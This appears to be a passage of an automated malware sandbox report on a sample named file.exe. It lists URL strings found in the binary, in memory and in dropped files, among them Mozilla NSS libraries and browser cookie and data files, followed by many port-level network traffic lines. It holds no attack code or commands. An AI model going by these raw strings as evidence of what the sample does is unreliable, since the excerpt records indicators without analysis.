Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376960664502680.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: b630d37d-8df3-457a-8295-814456d47326.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2471061100.0000000023F18000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2471061100.0000000023F18000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2471061100.0000000023F18000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
